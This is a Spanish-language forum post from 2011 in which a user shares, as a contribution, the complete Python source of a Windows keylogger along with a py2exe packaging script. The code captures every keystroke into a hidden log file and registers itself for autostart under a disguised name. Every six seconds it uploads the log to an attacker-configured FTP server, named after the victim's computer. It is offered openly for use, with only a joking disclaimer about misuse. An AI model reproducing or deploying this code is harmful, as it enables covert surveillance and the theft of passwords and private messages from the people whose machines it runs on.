Ver Mensaje Individual
  #1 (permalink)  
Antiguo 22/08/2011, 20:57
Avatar de Lautaro_eb
Lautaro_eb
 
Fecha de Ingreso: mayo-2010
Ubicación: Bariloche, Argentina
Mensajes: 284
Antigüedad: 13 años, 11 meses
Puntos: 24
[Aporte] Keylogger

Buen dia , bueno buenas noches.
Hoy traigo este Keylogger que estube desarrolando no se como lo tomen , talves algunas personas pienses que es una mala idea pero bueno es la primera cosa que termino de desarollar en python.

El keylogger esta echo siguiendo varios ejemplos pero le dejo el codigo.
Talves no sea muy limpio y no tan bueno pero talves me puedan ayudar a corregir.

Incluye FTP y auto registro para el inicio de windows.

Tiene muchas depencias eso si.

Las dependecias sonCreo que esos son todos.

El Programa esta en echo en python26 porque venia istalado por defecto.
Esta echo en windows Seven Eclipse PyDev.

Keylogger.py
Código Python:
Ver original
  1. #Creado por @Y_mil(Twitter) o Lautaro_eb
  2. #No me ago cargo del mal uso de la aplicacion xD
  3. #Creditos Yo , y otras web que vi tantas que ni me acuerdo.
  4. #22/08/2011
  5.  
  6.  
  7. import pyHook,pythoncom
  8. import win32api,win32con
  9. import os
  10. import random
  11. import platform
  12. from threading import *
  13. from time import asctime
  14. from ftplib import FTP
  15.  
  16. num = random.randint(0,100)
  17. string = ""
  18.  
  19. #Obtenemos direccion de trabajo actual.
  20. dir = os.getcwd()
  21.  
  22. #Nombre donde de la aplicacion.
  23. arname = "keylogger.exe"
  24.  
  25. name = "%s\suport.log" % dir
  26.  
  27. #Configuracion del ftp
  28. user = ""
  29. password = ""
  30. host = ""
  31.  
  32. #Ruta donde se guardan los logs
  33. dirLogs = "D:\soport.log"
  34.  
  35. #Obtenemos el nombre del ordenador
  36. filename = platform.node()
  37.  
  38. try:
  39.     #Conectamos al FTP
  40.     con = FTP(host,user,password)
  41.     #Obtenemos nomnbre de archivo
  42.     archivo = "%s\%s" % (dir,arname)
  43.    
  44.     #direction = "cmd /c reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run /v WindowSoports /d %s /f" % (archivo)
  45.    
  46.     #Los registramos a regedit de windows
  47.    
  48.     keyp = _winreg.OpenKey( _winreg.HKEY_CURRENT_USER, 'Software\\Microsoft\Windows\\CurrentVersion\\Run',0, _winreg.KEY_SET_VALUE)
  49.    
  50.     _winreg.SetValueEx (keyp, 'Window Soporte', 0, _winreg.REG_SZ, archivo)
  51.    
  52.    
  53.     _winreg.CloseKey(keyp)
  54.    
  55.     #Ocultamos el archivo.
  56.     win32api.SetFileAttributes(dirLogs,win32con.FILE_ATTRIBUTE_HIDDEN)
  57.     #win32api.SetFileAttributes(dirLogs,win32con.FILE_ATTRIBUTE_HIDDEN)
  58. except:
  59.     #La exepcion no muestra nigna informacion valorable
  60.     print ""
  61.    
  62. def send():
  63.     """Esta funcion es la encarga de mandar el archivo al servidor FTP
  64.    Es llama cada 6 Segundos , no pasa nigun parametro."""
  65.     try:
  66.         #Obtenemos la direccion de archivo
  67.         archivo = "%s\%s" % (dir,name)
  68.         #Abrimos el archivo
  69.         file = open(dirLogs,"rb")
  70.         #Carpeta que se utilizara para guardar los archivos        
  71.         con.cwd("/public_html")
  72.         #Comando Ftp para subir el archivo        
  73.         nameFile = "STOR %s-%d.logs" % (filename,num)
  74.         con.storbinary(nameFile,file)
  75.         #Cerramos el archivo.
  76.         file.close()        
  77.     except:
  78.         print ""
  79.     time = Timer(6.0,send)
  80.     time.start()
  81. #Creamos un timer que llama cada 6 segundos a send
  82. time = Timer(6.0,send)
  83. time.start()
  84.  
  85. def savefile(text):
  86.     """Esta Funcion es la encargada de almasenar los datos en un archivo
  87.    Parametro text : String"""
  88.     #Obtenemos Fecha y hora
  89.     dt = asctime()
  90.    
  91.     #Generamos el string a guardar
  92.     string = "%s:%s \n" % (dt,text)
  93.     #Abrimos el archivo
  94.     file = open(dirLogs,"a")
  95.    
  96.     #Escribimos la informacion
  97.     file.write(string)
  98.     #Y Serramos el cursor
  99.     file.close()
  100.  
  101. string = ""
  102. def toma(frase):
  103.     """Funcion encargada de guardar las entradas del teclado"""
  104.     global string
  105.     string += " %s" % frase.Key
  106.     """Cuando hay mas de 5 letras o 5 este se guarda en el archivo"""
  107.     if len(string) >= 5:
  108.         savefile(string)
  109.         string = ""
  110.  
  111. def capturar():
  112.     """Funcion Encargada de capturas las entradas del teclado"""
  113.     nave = pyHook.HookManager()
  114.     nave.KeyDown = toma
  115.     nave.HookKeyboard()
  116.     #pythoncom.PumpMessages()
  117.     pythoncom.PumpMessages()
  118.  
  119. while 1:
  120.    
  121.     """Bucle infinito para obtener la campturas"""
  122.     capturar()
  123.  
  124. # The End
  125. try:
  126.     """Cerramos la conexion"""
  127.     con.quit()
  128. except:
  129.    
  130.     print ""

Setup.py

Código Python:
Ver original
  1. from distutils.core import setup
  2.  
  3. import py2exe
  4.  
  5. setup(windows=['keylogger.pyw'])

Bueno gente , talves no le sirva , talves piensen que es una estupides pero bueno.
Espero que le sirva y suerte.

PD: Recien Sacado del Horno.
__________________
Mi emprendimiento: Software BRC
Youtube: Tutoriales de programación y electrónica.

Última edición por razpeitia; 22/08/2011 a las 21:07 Razón: Titulo